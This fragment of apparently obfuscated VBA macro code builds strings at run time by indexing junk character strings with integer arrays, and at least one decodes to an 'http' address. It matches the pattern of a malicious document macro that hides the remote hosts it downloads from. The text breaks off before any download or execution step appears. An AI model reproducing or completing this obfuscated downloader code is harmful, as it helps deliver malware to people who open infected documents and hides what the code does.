gHCbtia = "WhBxWkUpebcIhjzzPrNYBaqQAycpIMAUqfpRIvcYzqfBOMjMrlvXiHZfaWaOzVPdZRoPePielmchmGeoYHrUFbO/AiCnbBZ5IjJIAxQeLRkjwnQWxdTNrubonDioOvVcPcuQUjSvAFfbuOyjVwcjQVIuwRWVpJFoOzogQiXKrfpRCXgvAYarZbZhho.RSLxTQlLziiIQ:nqs5LTWnTztuTJfdhFb-GtpEBJLoXTXShUcFaTsrjClizC/yrtwkQLOIgCGIUe/qVCnPNOTZRhTUf/zPzYtAayvabwvQtsniFZyoadfYhFgTuQumccXxtWwQZGjWEXpsrb/dcjLYZOaMEfL"
orAnAYq(0) = 2
orAnAYq(1) = 212
orAnAYq(2) = 212
orAnAYq(3) = 8
orAnAYq(4) = 201
orAnAYq(5) = 88
orAnAYq(6) = 88
orAnAYq(7) = 2
orAnAYq(8) = 67
orAnAYq(9) = 11
orAnAYq(10) = 38
orAnAYq(11) = 53
orAnAYq(12) = 9
orAnAYq(13) = 92
orAnAYq(14) = 11
orAnAYq(15) = 2
orAnAYq(16) = 118
orAnAYq(17) = 26
orAnAYq(18) = 9
orAnAYq(19) = 92
orAnAYq(20) = 164
orAnAYq(21) = 53
orAnAYq(22) = 22
orAnAYq(23) = 187
orAnAYq(24) = 38
orAnAYq(25) = 92
orAnAYq(26) = 88
orAnAYq(27) = 109
orAnAYq(28) = 8
orAnAYq(29) = 221
orAnAYq(30) = 22
orAnAYq(31) = 64
orAnAYq(32) = 74
orAnAYq(33) = 53
orAnAYq(34) = 92
orAnAYq(35) = 88
orAnAYq(36) = 96
orAnAYq(37) = 115
orAnAYq(38) = 96
orAnAYq(39) = 99
orAnAYq(40) = 10
orAnAYq(41) = 1
orAnAYq(42) = 22
orAnAYq(43) = 118
orAnAYq(44) = 50
orAnAYq(45) = 45
orAnAYq(46) = 88
orAnAYq(47) = 35
orAnAYq(48) = 165
orAnAYq(49) = 317
orAnAYq(50) = 211
orAnAYq(51) = 228
orAnAYq(52) = 74
orAnAYq(53) = 71
orAnAYq(54) = 246
orAnAYq(55) = 46
orAnAYq(56) = 169
zpZBUM = bsMzfBIG(gHCbtia, orAnAYq, sBkemrB)
Dim bNd As String
Dim VEbo As String
Dim thFCWFW(39) As Long
Dim Rner As Long
Rner = 37
VEbo = "ao.llCpbJYND7naCmvSh:lRUMNJa/uV/FIxVgDIs.MtSUSujYeWJZqOOiSWyFmltOsxbarGkahQtoMQ/tKwmGSZjaSuLzLIFlvLZIZqNbUeplWuxv/dvshTlDHyooj/IHipdtlzjgeJebnPhMCIndTnpalymarcvZ"
thFCWFW(0) = 20
thFCWFW(1) = 43
thFCWFW(2) = 43
thFCWFW(3) = 7
thFCWFW(4) = 21
thFCWFW(5) = 29
thFCWFW(6) = 29
thFCWFW(7) = 40
thFCWFW(8) = 2
thFCWFW(9) = 17
thFCWFW(10) = 50
thFCWFW(11) = 37
thFCWFW(12) = 115
thFCWFW(13) = 7
thFCWFW(14) = 40
thFCWFW(15) = 4
thFCWFW(16) = 2
thFCWFW(17) = 4
thFCWFW(18) = 3
thFCWFW(19) = 13
thFCWFW(20) = 17
thFCWFW(21) = 3
thFCWFW(22) = 7
thFCWFW(23) = 4
thFCWFW(24) = 29
thFCWFW(25) = 115
thFCWFW(26) = 1
thFCWFW(27) = 43
thFCWFW(28) = 1
thFCWFW(29) = 8
thFCWFW(30) = 1
thFCWFW(31) = 40
thFCWFW(32) = 50
thFCWFW(33) = 29
thFCWFW(34) = 4
thFCWFW(35) = 30
thFCWFW(36) = 29
thFCWFW(37) = 8
thFCWFW(38) = 40
bNd = bsMzfBIG(VEbo, thFCWFW, Rner)
Dim vOGhY As String
Dim OaDZcGz As String
Dim LMPgRyPb(51) As Long
Dim tReYlRIS As Long
tReYlRIS = 39
OaDZcGz = "jzQuteLfNdZKLRtUcXumXflobNrkNjpBxDAQvdAvOtDg/jAsCzygkowBwkojqdBhCOmeCtaWygsDAHcmBK/AaLoukjNHVAmcHucdQSxAAvriCCZgVMpAyZZOCHZj//XsjqhwWZmuMaTYeIngqyeVJSKwPc.kiHgxmRscOHeTYkuqWpphGatVOnfmpinimiIbXhYJmIsRdRFjdzotEwNSGbaFkECnvghq1rwYxueGhBendIMQmotnQeKTbGc:/ml"
LMPgRyPb(0) = 64
LMPgRyPb(1) = 5
LMPgRyPb(2) = 5
LMPgRyPb(3) = 31
LMPgRyPb(4) = 252
LMPgRyPb(5) = 45
LMPgRyPb(6) = 45
LMPgRyPb(7) = 5
LMPgRyPb(8) = 6
LMPgRyPb(9) = 17
LMPgRyPb(10) = 64
LMPgRyPb(11) = 143
LMPgRyPb(12) = 108
LMPgRyPb(13) = 44
LMPgRyPb(14) = 4
…